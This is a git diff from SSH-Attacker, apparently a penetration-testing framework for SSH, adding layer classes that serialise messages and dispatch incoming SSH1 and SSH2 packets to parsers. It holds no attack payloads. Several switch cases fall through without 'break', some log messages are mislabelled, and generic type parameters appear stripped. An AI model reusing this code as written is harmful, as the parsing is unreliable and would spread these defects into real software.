+ ((MessageSentHandler) handler).adjustContextAfterMessageSent();
+ }
+ }
+ }
+ return getLayerResult();
+ }
+
+ private void processMessage(
+ ProtocolMessage message, ByteArrayOutputStream collectedMessageStream)
+ throws IOException {
+
+ ProtocolMessagePreparator preparator = message.getPreparator(context);
+ preparator.prepare();
+
+ LOGGER.debug("Prepared packet");
+
+ ProtocolMessageSerializer serializer = message.getSerializer(context);
+ byte[] serializedMessage = serializer.serialize();
+ message.setCompleteResultingMessage(serializedMessage);
+
+ collectedMessageStream.writeBytes(message.getCompleteResultingMessage().getValue());
+ }
+
+ private void flushCollectedMessages(ByteArrayOutputStream byteStream) throws IOException {
+ if (byteStream.size() > 0) {
+ getLowerLayer().sendData(byteStream.toByteArray());
+ byteStream.reset();
+ }
+ }
+
+ @Override
+ public LayerProcessingResult sendData(byte[] additionalData) throws IOException {
+ return sendConfiguration();
+ }
+
+ @Override
+ public LayerProcessingResult receiveData() {
+
+ try {
+ LayerInputStream dataStream;
+ do {
+ try {
+ dataStream = getLowerLayer().getDataStream();
+ } catch (IOException e) {
+ // the lower layer does not give us any data so we can simply return here
+ LOGGER.debug("The lower layer did not produce a data stream: ", e);
+ return getLayerResult();
+ }
+ byte[] streamContent;
+ try {
+ LOGGER.debug("The Stream holds {} bytes", dataStream.available());
+ streamContent = dataStream.readChunk(dataStream.available());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ AbstractPacket> packet;
+
+ if (context.getPacketLayerType() == PacketLayerType.BINARY_PACKET) {
+ packet = new BinaryPacket();
+ } else if (context.getPacketLayerType() == PacketLayerType.BLOB) {
+ packet = new BlobPacket();
+ } else {
+ throw new RuntimeException();
+ }
+
+ packet.setPayload(streamContent);
+ parseMessageFromID(packet, context);
+
+ } while (shouldContinueProcessing());
+ } catch (TimeoutException ex) {
+ LOGGER.debug("Got a Timeout", ex);
+ }
+ return getLayerResult();
+ }
+
+ public void parseMessageFromID(AbstractPacket> packet, SshContext context) {
+ byte[] raw = packet.getPayload().getValue();
+ if (packet instanceof BlobPacket) {
+ String rawText = new String(packet.getPayload().getValue(), StandardCharsets.US_ASCII);
+ if (rawText.startsWith("SSH-")) {
+ readDataFromStream(new VersionExchangeMessageSSHV1(), (BlobPacket) packet);
+ return;
+ } else {
+ final AsciiMessage message = new AsciiMessage();
+ AsciiMessageParser parser = new AsciiMessageParser(new ByteArrayInputStream(raw));
+ parser.parse(message);
+
+ // If we know what the text message means we can print a
+ // human-readable warning to the log. The following
+ // messages are sent by OpenSSH.
+ final String messageText = message.getText().getValue();
+ if ("Invalid SSH identification string.".equals(messageText)) {
+ LOGGER.warn(
+ "The server reported the identification string sent by the SSH-Attacker is invalid");
+ } else if ("Exceeded MaxStartups".equals(messageText)) {
+ LOGGER.warn(
+ "The server reported the maximum number of concurrent unauthenticated connections has been exceeded.");
+ }
+ readDataFromStream(new AsciiMessage(), (BlobPacket) packet);
+ return;
+ }
+ }
+
+ MessageIdConstantSSH1 id =
+ MessageIdConstantSSH1.fromId(
+ packet.getPayload().getValue()[0], context.getContext());
+
+ LOGGER.debug("[bro] Identifier: {} and constant {}", packet.getPayload().getValue()[0], id);
+
+ switch (id) {
+ case SSH_MSG_DISCONNECT:
+ readDataFromStream(new DisconnectMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_USER:
+ readDataFromStream(new UserMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_PUBLIC_KEY:
+ readDataFromStream(new ServerPublicKeyMessage(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_SESSION_KEY:
+ readDataFromStream(new ClientSessionKeyMessage(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_IGNORE:
+ readDataFromStream(new IgnoreMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_DEBUG:
+ readDataFromStream(new DebugMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_EOF:
+ readDataFromStream(new EofMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_EXEC_CMD:
+ readDataFromStream(new ExecCmdMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_EXEC_SHELL:
+ readDataFromStream(new ExecShellMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_EXIT_CONFIRMATION:
+ readDataFromStream(new ExitConfirmationMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_STDIN_DATA:
+ readDataFromStream(new StdinDataMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_STDOUT_DATA:
+ readDataFromStream(new StdoutDataMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_STDERR_DATA:
+ readDataFromStream(new StderrDataMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_CHANNEL_OPEN_CONFIRMATION:
+ readDataFromStream(new ChannelOpenConfirmationMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_EXITSTATUS:
+ readDataFromStream(new ExitStatusMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_CHANNEL_OPEN_FAILURE:
+ readDataFromStream(new ChannelOpenFailureMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_CHANNEL_DATA:
+ readDataFromStream(new ChannelDataMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_CHANNEL_CLOSE:
+ readDataFromStream(new ChannelCloseMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_CHANNEL_CLOSE_CONFIRMATION:
+ readDataFromStream(
+ new ChannelCloseConfirmationMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AUTH_RSA:
+ readDataFromStream(new RsaAuthMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_PORT_FORWARD_REQUEST:
+ readDataFromStream(new PortForwardRequestMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AGENT_REQUEST_FORWARDING:
+ readDataFromStream(new AgentRequestForwardingMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AUTH_PASSWORD:
+ readDataFromStream(new AuthPasswordSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AUTH_RHOSTS:
+ readDataFromStream(new AuthRhostsSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_MSG_PORT_OPEN:
+ readDataFromStream(new PortOpenMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_AGENT_OPEN:
+ readDataFromStream(new AgentOpenMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_X11_OPEN:
+ readDataFromStream(new X11OpenMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_SUCCESS:
+ readDataFromStream(new SuccessMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_SMSG_FAILURE:
+ readDataFromStream(new FailureMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AUTH_RSA_RESPONSE:
+ readDataFromStream(new AuthRsaResponseMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_REQUEST_PTY:
+ readDataFromStream(new RequestPtyMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_WINDOW_SIZE:
+ readDataFromStream(new WindowSizeMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_AUTH_RHOSTS_RSA:
+ readDataFromStream(new AuthRhostsRsaMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_REQUEST_COMPRESSION:
+ readDataFromStream(new RequestCompressionMessageSSH1(), (BinaryPacket) packet);
+ break;
+ case SSH_CMSG_X11_REQUEST_FORWARDING:
+ readDataFromStream(new X11RequestForwardMessageSSH1(), (BinaryPacket) packet);
+ default:
+ LOGGER.debug(
+ "[bro] cannot identifie {} as {} - returningn null",
+ raw[1],
+ MessageIdConstant.fromId(
+ packet.getPayload().getValue()[0], context.getContext()));
+ // return null;
+ }
+ }
+
+ private void readDataFromStream(ProtocolMessage> message, AbstractPacket> packet) {
+ LayerInputStream temp_stream;
+
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+ readContainerFromStream(message, context, temp_stream);
+ }
+
+ @Override
+ public void receiveMoreData() throws IOException {
+ try {
+ LayerInputStream dataStream = null;
+ dataStream = getLowerLayer().getDataStream();
+ currentInputStream = new LayerLayerInputStream(this);
+ currentInputStream.extendStream(dataStream.readAllBytes());
+ } catch (TimeoutException ex) {
+ LOGGER.debug("Got a timeout while waiting for more data");
+ throw ex;
+ } catch (EndOfStreamException ex) {
+ LOGGER.debug("Reached end of stream, cannot parse more fragments", ex);
+ throw ex;
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH2Layer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH2Layer.java
new file mode 100644
index 000000000..baf6fcb1a
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH2Layer.java
@@ -0,0 +1,762 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.impl;
+
+import de.rub.nds.sshattacker.core.constants.*;
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.TimeoutException;
+import de.rub.nds.sshattacker.core.layer.LayerConfiguration;
+import de.rub.nds.sshattacker.core.layer.LayerProcessingResult;
+import de.rub.nds.sshattacker.core.layer.ProtocolLayer;
+import de.rub.nds.sshattacker.core.layer.constant.ImplementedLayers;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStream;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStreamAdapterStream;
+import de.rub.nds.sshattacker.core.layer.stream.LayerLayerInputStream;
+import de.rub.nds.sshattacker.core.packet.AbstractPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacket;
+import de.rub.nds.sshattacker.core.packet.BlobPacket;
+import de.rub.nds.sshattacker.core.protocol.authentication.message.*;
+import de.rub.nds.sshattacker.core.protocol.authentication.parser.*;
+import de.rub.nds.sshattacker.core.protocol.common.*;
+import de.rub.nds.sshattacker.core.protocol.connection.message.*;
+import de.rub.nds.sshattacker.core.protocol.connection.parser.ChannelOpenUnknownMessageParser;
+import de.rub.nds.sshattacker.core.protocol.connection.parser.ChannelRequestUnknownMessageParser;
+import de.rub.nds.sshattacker.core.protocol.connection.parser.GlobalRequestUnknownMessageParser;
+import de.rub.nds.sshattacker.core.protocol.transport.message.*;
+import de.rub.nds.sshattacker.core.protocol.transport.parser.AsciiMessageParser;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SSH2Layer extends ProtocolLayer {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+ private SshContext context;
+
+ public SSH2Layer(SshContext context) {
+ super(ImplementedLayers.SSHV2);
+ this.context = context;
+ }
+
+ @Override
+ public LayerProcessingResult sendConfiguration() throws IOException {
+ LayerConfiguration configuration = getLayerConfiguration();
+ ByteArrayOutputStream collectedMessageStream = new ByteArrayOutputStream();
+
+ if (configuration != null && configuration.getContainerList() != null) {
+ for (ProtocolMessage message : configuration.getContainerList()) {
+ collectedMessageStream = new ByteArrayOutputStream();
+ processMessage(message, collectedMessageStream);
+ addProducedContainer(message);
+ flushCollectedMessages(collectedMessageStream);
+
+ ProtocolMessageHandler> handler = message.getHandler(context);
+ if (handler instanceof MessageSentHandler) {
+ ((MessageSentHandler) handler).adjustContextAfterMessageSent();
+ }
+ }
+ }
+ return getLayerResult();
+ }
+
+ private void processMessage(
+ ProtocolMessage message, ByteArrayOutputStream collectedMessageStream)
+ throws IOException {
+
+ ProtocolMessagePreparator preparator = message.getPreparator(context);
+ preparator.prepare();
+
+ LOGGER.debug("Prepared packet");
+
+ ProtocolMessageSerializer serializer = message.getSerializer(context);
+ byte[] serializedMessage = serializer.serialize();
+ message.setCompleteResultingMessage(serializedMessage);
+
+ collectedMessageStream.writeBytes(message.getCompleteResultingMessage().getValue());
+ }
+
+ private void flushCollectedMessages(ByteArrayOutputStream byteStream) throws IOException {
+ if (byteStream.size() > 0) {
+ getLowerLayer().sendData(byteStream.toByteArray());
+ byteStream.reset();
+ }
+ }
+
+ @Override
+ public LayerProcessingResult sendData(byte[] additionalData) throws IOException {
+ return sendConfiguration();
+ }
+
+ @Override
+ public LayerProcessingResult receiveData() {
+ try {
+ LayerInputStream dataStream;
+ do {
+ try {
+ dataStream = getLowerLayer().getDataStream();
+ } catch (IOException e) {
+ // the lower layer does not give us any data so we can simply return here
+ LOGGER.warn("The lower layer did not produce a data stream: ", e);
+ return getLayerResult();
+ }
+
+ byte[] streamContent;
+ try {
+ // LOGGER.debug("I could read {} bytes", dataStream.available());
+ streamContent = dataStream.readChunk(dataStream.available());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ AbstractPacket> packet;
+
+ if (context.getPacketLayerType() == PacketLayerType.BINARY_PACKET) {
+ packet = new BinaryPacket();
+ } else if (context.getPacketLayerType() == PacketLayerType.BLOB) {
+ packet = new BlobPacket();
+ } else {
+ throw new RuntimeException();
+ }
+
+ packet.setPayload(streamContent);
+
+ parseMessageFromID(packet, context);
+
+ } while (shouldContinueProcessing());
+ } catch (TimeoutException ex) {
+ LOGGER.debug(ex);
+ }
+
+ return getLayerResult();
+ }
+
+ public void parseMessageFromID(AbstractPacket> packet, SshContext context) {
+ byte[] raw = packet.getPayload().getValue();
+ if (packet instanceof BlobPacket) {
+ String rawText = new String(packet.getPayload().getValue(), StandardCharsets.US_ASCII);
+ if (rawText.startsWith("SSH-")) {
+ readVersionExchangeProtocolData((BlobPacket) packet);
+ return;
+ } else {
+ final AsciiMessage message = new AsciiMessage();
+ AsciiMessageParser parser = new AsciiMessageParser(new ByteArrayInputStream(raw));
+ parser.parse(message);
+
+ // If we know what the text message means we can print a
+ // human-readable warning to the log. The following
+ // messages are sent by OpenSSH.
+ final String messageText = message.getText().getValue();
+ if ("Invalid SSH identification string.".equals(messageText)) {
+ LOGGER.warn(
+ "The server reported the identification string sent by the SSH-Attacker is invalid");
+ } else if ("Exceeded MaxStartups".equals(messageText)) {
+ LOGGER.warn(
+ "The server reported the maximum number of concurrent unauthenticated connections has been exceeded.");
+ }
+ readASCIIData((BlobPacket) packet);
+ return;
+ }
+ }
+
+ MessageIdConstant id =
+ MessageIdConstant.fromId(packet.getPayload().getValue()[0], context.getContext());
+
+ switch (MessageIdConstant.fromId(packet.getPayload().getValue()[0], context.getContext())) {
+ case SSH_MSG_DISCONNECT:
+ readMessageFromStream(new DisconnectMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_IGNORE:
+ readMessageFromStream(new IgnoreMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_UNIMPLEMENTED:
+ return;
+ case SSH_MSG_DEBUG:
+ return;
+ case SSH_MSG_SERVICE_ACCEPT:
+ readMessageFromStream(new ServiceAcceptMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_EXT_INFO:
+ return;
+ case SSH_MSG_NEWCOMPRESS:
+ return;
+ case SSH_MSG_KEXINIT:
+ readMessageFromStream(new KeyExchangeInitMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_NEWKEYS:
+ readMessageFromStream(new NewKeysMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_DH_GEX_REQUEST_OLD:
+ readMessageFromStream(
+ new DhGexKeyExchangeOldRequestMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_DH_GEX_REQUEST:
+ readMessageFromStream(new DhGexKeyExchangeRequestMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_DH_GEX_GROUP:
+ readMessageFromStream(new DhGexKeyExchangeGroupMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_DH_GEX_INIT:
+ readMessageFromStream(new DhGexKeyExchangeInitMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_DH_GEX_REPLY:
+ readMessageFromStream(new DhGexKeyExchangeReplyMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEXDH_INIT:
+ readMessageFromStream(new DhKeyExchangeInitMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEXDH_REPLY:
+ readMessageFromStream(new DhKeyExchangeReplyMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_HBR_INIT:
+ readMessageFromStream(new HybridKeyExchangeInitMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_HBR_REPLY:
+ readMessageFromStream(new HybridKeyExchangeReplyMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_SERVICE_REQUEST:
+ readMessageFromStream(new ServiceRequestMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_ECDH_INIT:
+ readMessageFromStream(new EcdhKeyExchangeInitMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEX_ECDH_REPLY:
+ readMessageFromStream(new EcdhKeyExchangeReplyMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_ECMQV_INIT:
+ return;
+ case SSH_MSG_ECMQV_REPLY:
+ return;
+ case SSH_MSG_KEXRSA_PUBKEY:
+ readMessageFromStream(new RsaKeyExchangePubkeyMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEXRSA_SECRET:
+ readMessageFromStream(new RsaKeyExchangeSecretMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEXRSA_DONE:
+ readMessageFromStream(new RsaKeyExchangeDoneMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_KEXGSS_INIT:
+ return;
+ case SSH_MSG_KEXGSS_CONTINUE:
+ return;
+ case SSH_MSG_KEXGSS_COMPLETE:
+ return;
+ case SSH_MSG_KEXGSS_HOSTKEY:
+ return;
+ case SSH_MSG_KEXGSS_ERROR:
+ return;
+ case SSH_MSG_KEXGSS_GROUPREQ:
+ return;
+ case SSH_MSG_KEXGSS_GROUP:
+ return;
+ case SSH_MSG_USERAUTH_REQUEST:
+ readUserAuthReq((BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_FAILURE:
+ readMessageFromStream(new UserAuthFailureMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_SUCCESS:
+ readMessageFromStream(new UserAuthSuccessMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_BANNER:
+ readMessageFromStream(new UserAuthBannerMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_PK_OK:
+ return;
+ case SSH_MSG_USERAUTH_PASSWD_CHANGEREQ:
+ return;
+ case SSH_MSG_USERAUTH_INFO_REQUEST:
+ readMessageFromStream(new UserAuthInfoRequestMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_INFO_RESPONSE:
+ readMessageFromStream(new UserAuthInfoResponseMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_RESPONSE:
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_TOKEN:
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE:
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_ERROR:
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_ERRTOK:
+ return;
+ case SSH_MSG_USERAUTH_GSSAPI_MIC:
+ return;
+ case SSH_MSG_GLOBAL_REQUEST:
+ readGlobalRequest((BinaryPacket) packet);
+ return;
+ case SSH_MSG_REQUEST_SUCCESS:
+ readMessageFromStream(new GlobalRequestSuccessMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_REQUEST_FAILURE:
+ readMessageFromStream(new GlobalRequestFailureMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_OPEN:
+ readChannelOpen((BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_OPEN_CONFIRMATION:
+ readMessageFromStream(new ChannelOpenConfirmationMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_OPEN_FAILURE:
+ readMessageFromStream(new ChannelOpenFailureMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_WINDOW_ADJUST:
+ readMessageFromStream(new ChannelWindowAdjustMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_DATA:
+ readMessageFromStream(new ChannelDataMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_EXTENDED_DATA:
+ readMessageFromStream(new ChannelExtendedDataMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_EOF:
+ readMessageFromStream(new ChannelEofMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_CLOSE:
+ readMessageFromStream(new ChannelCloseMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_REQUEST:
+ readChannelRequest((BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_SUCCESS:
+ readMessageFromStream(new ChannelSuccessMessage(), (BinaryPacket) packet);
+ return;
+ case SSH_MSG_CHANNEL_FAILURE:
+ readMessageFromStream(new ChannelFailureMessage(), (BinaryPacket) packet);
+ return;
+ case UNKNOWN:
+ return;
+ default:
+ LOGGER.debug(
+ "[bro] cannot identifie {} as {} - parsingn null",
+ raw[1],
+ MessageIdConstant.fromId(
+ packet.getPayload().getValue()[0], context.getContext()));
+ }
+ }
+
+ private void readUserAuthReq(AbstractPacket packet) {
+ UserAuthUnknownMessage userAuthUnknownMessage = new UserAuthUnknownMessage();
+ LayerInputStream inputStream;
+ LayerInputStream temp_stream;
+ inputStream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+ UserAuthUnknownMessageParser parser = new UserAuthUnknownMessageParser(inputStream);
+ parser.parse(userAuthUnknownMessage);
+ String methodString = userAuthUnknownMessage.getMethodName().getValue();
+ try {
+ LOGGER.info(
+ "Got Method-Request: {}, remainign in Inpustream: {}",
+ methodString,
+ inputStream.available());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ AuthenticationMethod method = AuthenticationMethod.fromName(methodString);
+ switch (method) {
+ case NONE:
+ LOGGER.info("Parsing Authenticationmethod: None");
+ UserAuthNoneMessage userAuthNoneMessage = new UserAuthNoneMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ userAuthUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(userAuthNoneMessage, context, temp_stream);
+
+ break;
+ case PASSWORD:
+ LOGGER.info("Parsing Authenticationmethod: Password");
+ UserAuthPasswordMessage userAuthPasswordMessage = new UserAuthPasswordMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ userAuthUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+
+ readContainerFromStream(userAuthPasswordMessage, context, temp_stream);
+
+ break;
+ case PUBLICKEY:
+ LOGGER.info("Parsing Authenticationmethod: PubKey");
+ UserAuthPubkeyMessage userAuthPubkeyMessage = new UserAuthPubkeyMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ userAuthUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(userAuthPubkeyMessage, context, temp_stream);
+
+ break;
+ case HOST_BASED:
+ LOGGER.info("Parsing Authenticationmethod: Hostbased");
+ UserAuthHostbasedMessage userAuthHostbasedMessage = new UserAuthHostbasedMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ userAuthUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(userAuthHostbasedMessage, context, temp_stream);
+
+ case KEYBOARD_INTERACTIVE:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ UserAuthKeyboardInteractiveMessage userAuthKeyboardInteractiveMessage =
+ new UserAuthKeyboardInteractiveMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ userAuthUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(userAuthKeyboardInteractiveMessage, context, temp_stream);
+
+ default:
+ LOGGER.debug(
+ "Received unimplemented user authentication method in user authentication request: {}",
+ methodString);
+ break;
+ }
+
+ LOGGER.info("Done with Parsing UserAuth");
+ }
+
+ private void readChannelRequest(AbstractPacket packet) {
+ ChannelRequestUnknownMessage channelRequestUnknownMessage =
+ new ChannelRequestUnknownMessage();
+ LayerInputStream inputStream;
+ LayerInputStream temp_stream;
+
+ inputStream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+
+ ChannelRequestUnknownMessageParser parser =
+ new ChannelRequestUnknownMessageParser(inputStream);
+ parser.parse(channelRequestUnknownMessage);
+ String requestTypeString = channelRequestUnknownMessage.getRequestType().getValue();
+ try {
+ LOGGER.info(
+ "Got Method-Request: {}, remainign in Inpustream: {}",
+ requestTypeString,
+ inputStream.available());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ ChannelRequestType requestType = ChannelRequestType.fromName(requestTypeString);
+ switch (requestType) {
+ case PTY_REQ:
+ LOGGER.info("Parsing Authenticationmethod: None");
+ ChannelRequestPtyMessage channelRequestPtyMessage = new ChannelRequestPtyMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestPtyMessage, context, temp_stream);
+
+ break;
+ case X11_REQ:
+ LOGGER.info("Parsing Authenticationmethod: Password");
+ ChannelRequestX11Message channelRequestX11Message = new ChannelRequestX11Message();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+
+ readContainerFromStream(channelRequestX11Message, context, temp_stream);
+
+ break;
+ case ENV:
+ LOGGER.info("Parsing Authenticationmethod: PubKey");
+ ChannelRequestEnvMessage channelRequestEnvMessage = new ChannelRequestEnvMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestEnvMessage, context, temp_stream);
+
+ break;
+ case SHELL:
+ LOGGER.info("Parsing Authenticationmethod: Hostbased");
+ ChannelRequestShellMessage channelRequestShellMessage =
+ new ChannelRequestShellMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestShellMessage, context, temp_stream);
+
+ case EXEC:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestExecMessage channelRequestExecMessage =
+ new ChannelRequestExecMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestExecMessage, context, temp_stream);
+
+ case SUBSYSTEM:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestSubsystemMessage channelRequestSubsystemMessage =
+ new ChannelRequestSubsystemMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestSubsystemMessage, context, temp_stream);
+
+ case WINDOW_CHANGE:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestWindowChangeMessage channelRequestWindowChangeMessage =
+ new ChannelRequestWindowChangeMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestWindowChangeMessage, context, temp_stream);
+ case XON_XOFF:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestXonXoffMessage channelRequestXonXoffMessage =
+ new ChannelRequestXonXoffMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestXonXoffMessage, context, temp_stream);
+ case SIGNAL:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestSignalMessage channelRequestSignalMessage =
+ new ChannelRequestSignalMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
